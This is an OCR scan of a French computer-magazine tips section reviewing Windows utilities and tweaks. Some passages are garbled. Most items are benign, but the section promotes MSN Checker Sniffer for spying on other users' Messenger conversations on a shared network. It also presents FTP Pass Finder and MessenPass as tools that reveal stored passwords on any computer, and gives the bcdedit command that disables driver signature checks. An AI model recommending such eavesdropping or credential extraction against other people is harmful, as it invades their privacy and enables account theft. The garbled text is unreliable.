-

“we

Les rootkits sont des programmes soumois

et fourbes destinés a faciliter I'acois d'un
pirate ou d'une organisation a votre PC (on se
souvient de I'affaire Sony ol la margue avait
mis un rootkit dans ces CD audio pour mieux
fliquer ses clients). De vraies saletés 3 éliminer,
Particulierement discret, un rootkit attend

LA R LR R R REN ]

le meilleur moment pour vous poignarder mode ligne de commande. Une fois détecté, . - :

dans le dos. Pour lutter, nous vous proposons le rootkit est désactivé et le logiciel se ferme ganér_er ke chaine 'j,E caracteres de
RootkitRevealer, un outil de détection qui automatiquement, 16.. f?'% £ et quahﬁ? t[.ES
ne fait pas dans le superflu : scan manuel, @ http://technet.microsoft.com/fr-fr/ precisement le contenu du fichier.
automatique, de la base de registre et un i sysinternals impossible ensulte pour Lin tiers

de le modifier de quelque maniére
que ce soit (par stéganographie ou
d'autres procédés). Vous pourrez

RETROU“EZ vos- MOTS aussi contrdler gu'aucun virus ne I'a

DE PASSE e
(ee AVEC WiNDOWS

CER LR R R LR LR LRE)

FTP Pass Finder permet &n un N et
seul clic de retrouver vos mots s ]
de passe FIP perdus. Il suffit oy
de la lancer et de cliquer sur le S T o '“
bouton Sean pour que ce dernier
aille chercher les mots de passe :
contenu dans les clients FTP les :
plus courants : FileZilla, AceFTR contaming ou qu'un transfert a été :
BulletProof FTR CuteFTP FlashFXR correctement fait. MD5Summer permet :
FTP Voyager, Total Commander, B — donc de créer des sommes MDS5 sur s
TurboFTP etc. En face de chaque == un ou plusieurs fichiers (il est possible 3
client, vous retrouverez le nom du compte 3 de sélectionner une arborescence
et son mot de passe en clair. Bien siir, cela g hitp://egvde.free.fr/proga/ compléte d'un disque dur).

passfinder.html

fonctionne sur n'importe guel ordinateur... ? www.md5summer.org
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CACHEZ UN

FICHIER
AVEC CAMOUFLAGE

=22 Camouflage permet de
cacher un fichier dans un autre pour

le faire passer inaperu. Lavantage

de Camouflage par rapport aux autres
logiciels de stéganographie c'est qu'il

est compatible avec plusieurs types de
fichiers : EXE, JPG, DOC, TXT, etc. Plus fort,
les fichiers qui servent de «coquilless
sont parfaitement opérationnels pour

e Uil v i e mghd ol g o e
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e - L,
i Ty My, e ¥ o
g

- OTCEEE Ve e el Ui

o Pl W e Gameaed e B ad On
ez e i {m

miewx tramper I'ennemi | Comme avec

la plupan des logiciels de ce type, il est
aussi possible d'ajouter un mot de passe.
Votre correspondant, pour retrouver le
fichier caché doit posséder camoufiage et
avoir le mot de passe éventuel...

gmmmm_@m

e

Des traces, vous n'en
laissaz pas seulement
dans votre navigateur

mais vous en laissez

aussi dans la plupart

des logiciels et systéme
d'exploitation. Afin de
protéger au mieux votre vie
privée (et pas seulement
effacer le cache de Firefox
1), voici BleachBit ! Ce
dernier vous permetira

de supprimer vos traces
numériques sur Google
Earth, Adobe Reader,
Filezilla, Flash, OpenOffice.
org, Pidgin, RealPlayer, Skype, Microsoft

Office, Gimp, Windows Media Player, Azureus,
Winrar, Winamp, etc. De surcroit, il $'eccupera
de vider la corbeille et le presse-papiers,

éliminer la liste des fichiers consultés
récemment et supprimer tous les fichiers

temporaires. Pour plus de sécurité, BleachBit

AVEC MSN CHECKER SNIFFER

1 1 AMUSEZ-VOUS AVEC MSN

l.'-! 0o Si vous avez acces a un réseau local (au travail, a,I"Université, etc.), MSN
= XX Checker Sniffer permet de surveiller les conversations sur Windows Li

Messenger. Ce programme va automatiquement chercher les comr
en scannant les ports attribugs 8 MSN. Sélectionnez les IP qui vous intéressent (ou choisissez-en

une au hasard) et vous pourrez suivre les conversations en direct. || est aussi possible de les

exporter dans un fichier pour y jeter un ceil plus tard et méme de couper la corversation. Attention

la version démo de ce logiciel ne permet qu'une visualisation limitée des messages...

e whw.msn-tools.net

12
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avec WINSCP

TRANSFERT SECURISE

WinSCP est un logiciel gui utilise le protocole S5H pour échanger
des informations sécurisées entre deux machines. Il se présente

visuellement comme un client FTP : lecture du contenu des
répertoires, édition, suppression de fichiers, etc. En utilisant le SSH vous &tes absolument
slr que personne ne sera en mesure de savoir ce qui transite par votre connexion. Grice
aWinSCR il est possible de se connecter & un serveur S5H en utilisant le protocole SFTP
(SSH File Transfer Protocol) ou le service SCP (Secure Copy Protocol). Notez que WinSCP

supporte aussi bien le $5H-1 et le 35H-2,
£ http://winscp.net/ eng/docs/lang:fr
)
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EFFACER VOS TRACES

AVEC BLEACHBIT
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est aussi en mesure de réécrire par-dessus
les données effacées pour qu'une personne
ne puisse pas les récupérer | Avant d'utiliser
BleachBit, nous vous conseillons de noter
guelgue part vos identifiants et mot de

passe...
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RETROUVEZ VOTRE

MOT DE PASSE MSN

N AVEC MESSENPASS

=22

Cela vous est déja sans doute arrivé : vous

laissez votre logiciel de messagerie mémoriser

votre mot de passe et le beau jour ol il

vous le redemande, vous |'avez oublié | Il
peut s"agir d'une nouvelle version ou d'une
erreur de volre part mais le mal est fait. Si
en plus vous ne possédez plus I'e-mail qui

a servi'a l'inscription, vous &tes bon pour
vous refaire un compte | Heureusement, voila

MessenPass qui permet de retrouver les mots
de passe de Windows Live Messenger, Yahoo
Messenger, Google Talk, ICQ, AOL Instant
Messenger,Trillian, Miranda, GAIM ou Pidgin. Il
suffit de lancer le programme et il s'occupera
automatiquement de découvrir et d'afficher
I"'ensemble des mots de passe archivés dans
vos applications...

2 www.nirsoft.net/utils/mspass.html

g Messenpass =10/ x|
File Edt View Help

2 [l (2 5 e A

Software | Protocol | iser | Password

@ Miranda Jabber jaber 12345 KBmnj61

@ MSN Messanger MSN Messenger nhhggttF@hotmail com  1Pki9BW2

@ Metscape-A0L Instant Messenger  AOL Instant Messenger  aol26612 POBSTRRR

@ Trillan MEN Messenger st 765 Oil0beyghr

@ Trillian Yahoo! Messenger yahool23d kijlsce

@ Yahoo Massenger Yahoo! Massangsr nirsaftg21 BoGGER T

6 account(s), 1 Selacted
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ANALYSEZ VOS

PROCESSUS

AVEC THREATFIRE

(ee

Threatfire est une

sorte de sentinelle

& mi-chemin entre
Iantivirus et le firewall.
Il analyse les processus
dont I'activité est nocive
pour volre systeme
grace & une méthode
heuristique {qui utilise
une détection basée sur
la recherche d'activités
potentiellement
dangereuses et pas

une base de signature
comparative). Si vous

PL Teals

.ﬂ. Sgnrwiae & Vidai Protecion ks ON

Eraphd SR TR ST DrDHeCH wAl Sl

Warldwide Datecan

Pretecion Stxtivhsr

akal Tt b

CEcs Pop s 1 PRI
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etes victime d'une menace récente,
le logiciel ne sera donc pas démuni.

qu'il peut parfaitement cohabiter avec tout
autre programme de sécurité (antivirus,

Threatfire dispose bien siir d'un madule en
tache de fond qui est en mesure de gérer
les problémes en temps réel. Notez aussi

conflit.
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EVITEZ LES
CURIEUX

avec ANTISPYE
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AntiSpye n'est pas un éniéme
anti-spyware, il a tout simplement
&té créé pour éviter les regards en
coin sur votre écran ! D'un
simple mouvement,

il est possible de

cacher ce que

wous faites sur

AntiSpye Setlings

(] Avctive
e this check bow i mard:ed
T o bemporanie pause i, chea thiz cP

[#] Track the "Prrd Scan’ key
‘whabch lor the chpboard and 2ave ol 1caeen shots
Lakan vt the: "Prind Som’™ key ho a special hokder

.I'il:ll,mlype

Show Convest g w | [T eot, bt e "= sy )

Seveerahors Fokdar

| Buowan
Seldect 5 fodes 1o slons B soieenahols Lsken wth ‘Prrd
Sain' key. S sme Folder will b used 82 8 sourcs of the
SN COVEr BTages
Seseen comess
B ]| Zone aze [pheis]
1 ) ectieateon b (decords) 400

Select screen comerns whete mouse poirker must Actvabe
thee AunliSppe. At sze of activation sone snd amount of
twem, Hhe mouse pomber meat be ngide of one ol the Jones bo
foant

(2> AntiSpye

BY LAMDER ZERG
—— — 7
&@

votre ordinateur en plagant ung
page noire, un économiseur d'écran
ou un «faux bureaus. Il suffit pour
cela de taper sur la touche Impr.
Ecran et d'utiliser Ia dissimulation
Show cover image. Ensuite,
reprenez le contrdle de votre bureau,
par le raccourci clavier Alt Gr + &,

Il est aussi possible de masquer
une fendtre en cliguant simplemeant
sur un des points pour la faire
disparaitre quelques instants. ..

© www.zerge.com
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Pour éviter que les
utilisateurs de votre

o
ordinateur n'utilisent A R
le Gestionnaire des

tiches de Windows

{pour fermer un

Processus ou

bidouiller un service
par exemple) il

est possible de le
désactiver en passant
par le Registre. Pour
cela, cliquez sur le
bouton Démarrer
puis dans le champ
Rechercher, saisissez
la commande

regedit et pressez

la touche Entrée,
Dans cette nouvelle fenBtre, déroulez la clé
HKEY_CURRENT_USER, Software, Microsoft,
Windows, CurrentVersion, Policles. Cliquer
sur le menu Edition, sur Nouveau puis sur
Clé. Saisissez System puis appuyez sur
Entrée. Déroulez ensuite le menu Edition,
cliquez sur Nouveau puis sur Valeur

INTERDIRE L'ACCES AU
GESTIONNAIRE DES TACHES

Avec WinDows VisTA

e

MOINS DE
LOGICIELS AU
DEMARRAGE

AvECc WiINDOWS

Si vous en avez marre que 10 000
logiciels se lancent automatique au dé-
marrage de Windows, voici la solution,
Cliguez sur le bouton Démarrer, saisissez
la commande msconfig et validez par
Entrée pour lancer I'utilitaire de configura-
tion du systeme intégré & Windows. Ouvrez
I'onglet Démarrage pour avoir acces 3 la
liste de tous les programmes exécutés, Dé-
cochez juste les cases devant les logiciels
que vous voulez désactiver et validez.,

DWORD 32 bits. Nommez la nouvelle valeur
DisableTaskMgr et double cliquez dessus.
Saisizsez 1 dans la zone Données de la
valeur. Validez par OK puis fermez I'éditeur du
registre. A partir de maintenant, les liens vers
le Gestionnaire des taches seront grisés et
personne d'y aura acces.

LOCALISER ET SUPPRIMER LES FICHIERS

| V4

Teee
Si plusieurs personnes utilisent
votre ordinateur, il n'est pas
facile de savoir qui met quel
fichier & quel endroit. Il suffit
que votre petite seeur remplisse
le disque dur de vidéos non
compressées d'une obscure série
porto-ricaine pour fulminer le jour
oll vous avez besoin d'espace
disque et qu'elle ne sait plus
ol elle a rangé ses fichiers...
Pour y remédier, Windows Vista
permet de localizer les fichier
volumineux pour les supprimer
en cas de besoin. Cliquez sur le
bouton Démarrer, Ordinateur
et pressez la touche F3. Loutil
de recherche devrait s'afficher.
Cliquez sur la fléche & droite de

VOLUMINEUX

AVEC WINDOWS 7 ou ViISTA

I'élément Recherche avancée
puis déroulez |a liste Taille (Ko)
et sélectionnez |'option Est
supérieur a... Saisissez dans le
champ & cité, la taille minimale
(en Ko) que les fichiers doivent
avoir, 300000 pour les fichiers
avec une taille supérieure &

300 Mo, etc. Cliquez enfin sur le
bouton Rechercher. Dans cette
zone, cliquez sur le bouton Outils
de recherche puis sur Options
de recherche. Vous pouvez aussi
cochez la case Inclure les fichiers
compresses (ZIP CAB, RAR, etc.)
Pour supprimer un fichier, cliquez
dessus et pressez la touche
Suppr. N'oubliez pas de vider la

corbeille !
X

| r erhmsrer pasrs i s e 09 0 =
S e — s e =
Wb ot | Bt Covmsirs fioibregen  Detwmh ugn Mege b Frabarcks goanotn -
Brplcrmmt L W0 (03 = Phors Masac
Date * WAl - et cim
Tadte 0] ool et & = OO0
by i Tty ot smdmhi, Sutipeti o rfboren gl ol

Lo et e et iy v 8 T el ETandl el et | L Orieid o il b 1 eulen
Bagee. Dy b wrtililucati.  Tyge

B St e (e

g P
amrags busomboper ton




AVEC WINDOWS 7 0oU VISTA

DEBRANCHER SA CLE USB EN SECURITE

i‘,u‘*’f-.
|
(gee
g bR ‘ 3
L
Avant de débrancher vatre clé USB, vous contextuel. Dans :
devez étre certains que I'écriture de toutes la zone Entrer i
les données que vous avez copiées dessus I'emplacement teaasc oa
est bien terminée. Il existe bien siir un de I'élément, SN
menu spécial pour déconnecter votre clé de saisisser la commande ek - nouvellement créé et choisisser
maniére sire mais il est un peu laboreux suivants : Rundii32 2 Propriétés, Sélectionnez le boutan
d'y faire appel. Sachez qu'il est possible shell32.dll,Control Changer d'icine puis Parcourir. Choisissez
d'ajouter un raccourci sur votre Bureau qui RunDLL HotPlug.dil. le fichier Shell32.dll et cliquez sur
vous permettra de terminer proprement Cliguez sur le bouton Suivant, donnez Ouvrir pour choisir une nouvelle icone,
tous les transferts avec la clé | Pour cela, un nom au raccourci {Débrancher clé Dorénavant, il suffira de double-cliquer
cliquez avec le bouton droit de la souris sur USE par exemple) puis cliquez sur le sur le raccourci Débrancher clé USE que
un espace vide du Bureau et choisissez la bouton Terminer, Cliquez encore avec le wous vengz de créer pour retirer votre
commande Nouveau-Raccourei du menu bouton droit de la souris sur le raccourci périphérique en toute sécurité |

l..l'-"'.“.'...'-'l.li'"..“-'Il'-'.."!'..""il'll.-l.iiIIIiI-II"'.l.l.b---q""'lj.-...-‘"'.

LIRE LES SOUS-
TITRES D’UNE VIDEO

AVEC VLC ou Winpows
(ee MEeDIA PLAYER

Si pour vous le doublage d’un film tue toute la magie, vous seriez peut-étre
intéressé par regarder vos film ou série en V0. Pour profiter de ces fameux
fichiers sous-titres SUB, SRT, TXT ou SSA, il faudra passer par le logiciel VLC
Media Player ou par Windows Madia Player. Pour que ces logiciels prennent
en compte les sous-titres, il faudra renommer les fichiers SUB et AV] de la
méme maniere (et
les mettre dans

le méme dossier,
accessoirement).
Pour vous faciliter
la tache vous
POUVEZ OUVIF
nimporte quel
fenétre de
Windows, cliguer
sur le menu
Options puis

sur Options des
dossiers. Dans
'onglet Affichage,
décochez la ligne
Masquer les
extensions des
fichiers dont le type est cannu. Si votre film (film.zvi) et votre sous-titre
(film.sub ou film.srt) sont nommé de la méme manigre, double cliquez sur
I'AVI pour que le SUB se lance automatiquement. Si vous rencontrez un
probleme, ouvrez VLC et cliquez sur Media>Ouvrir un fichier {avancé) pour
cochez la case Utiliser un fichier de sous-titres.
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DESACTIVER

L’AUTHENTI-

FICATION DES
V22  PILOTES

AVEC WINDOWS VISTA ET 7

Linstallation de certains pilotes de périphériques peut
etre bloguée par Windows 7 ou Vista si ces demiers

ne sont pas authentifiés par Micrasoft. Pour contourner
cette restriction, cliquez sur le bouton Démarrer puis
dans le champ Rechercher, saisissez la commande
bededit /set nointegritychecks ON. Pressez la touche
Entrée. A I'avenir Windows ne vérifiera plus la signature
des pilotes que vous installez. Une fois votre pilote «exo-
tique= installé, vous pouvez réactiver la vérification avec
la commande bededit /set nointegritychecks OFF.
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Fd hii doigt et a Uoeit !
Fini la panique de I'oubli du mot de passe, termige le cassgaléte des
ordinateurs multi-utilisateurs grace & M'Eikon de Bl pa iSSP Sur va

ordinateur, accédez & votre session, & yptre espace de travall, 3 vos dfnnées,
d'un glissement de doigt surce Iec: empreintes digitales, Plusjpersonne
d'autre que vous ne pouffa uuvrirmﬁnateur ou effacer des dgnnées sur
une session laissée uvmelppdrmr permet de mémoriser 15 empreintes
dig mles crypt rme AES-256. Pas moyen de tricher puisque I'Eikon
oete pﬁacténshqu einte digitale... s hesum

v flopee de mots de pa p-uur ouvrir une session ou accéder a un
pmgra En effet, il est possible gle lancer une application & I'aide d' un-doigt
particulier : avec l'index et Wi Media Pl vec le majeur par exermnple, X
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u de jongler avec plusieurs utilisateurs
el dossier de votre ordinateur en AES
ment utiliser votre nouveau g

Lors de linstallation, ne branchez I'appareil que lorsque le logiciel vous le demandera.

Aprés avoir redémarré, le PC vous proposera de télécharger une extension pour Firefox
(51 vous utilisez ce navigateur). Aprés amir branche le Eikon, faites un double clic dans la
nowvelle icdne qui apparait dans !e mt.ab ite & coté de I'horoge). Cliquez
ensuite sur Initial our mtr @II? quisition. Notez
qu'apnés avgicjnitialsd votre apparra i| gst ilI§ de F'en réhgnﬁzurm'rr aCees

& toutes les Yefictionnaljta

us demandera alors de chaisir entre un stockage sur le dispositif
fisque dur. Cela ne change pas grand-chose puisque de toute fagon,

le doigt de votre choi
sion possible (Fig 2). S
eilleure manigre de
flallation va ensuite wo
Pouvair lancer des ap

% grace au Biomen
. / /

Br ou un dossier d
ple et sélectionng
alidez (ce n'est p
B+ Clé comme m
et vous devrez pasee rTappareil P
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Tous les logiciels
INDISPENSABLES
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PRATIQUE

100% MICRO-FIGHES,
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PIRATAGE DE COMPTES
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. HACKING
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MOTS DE PASSE
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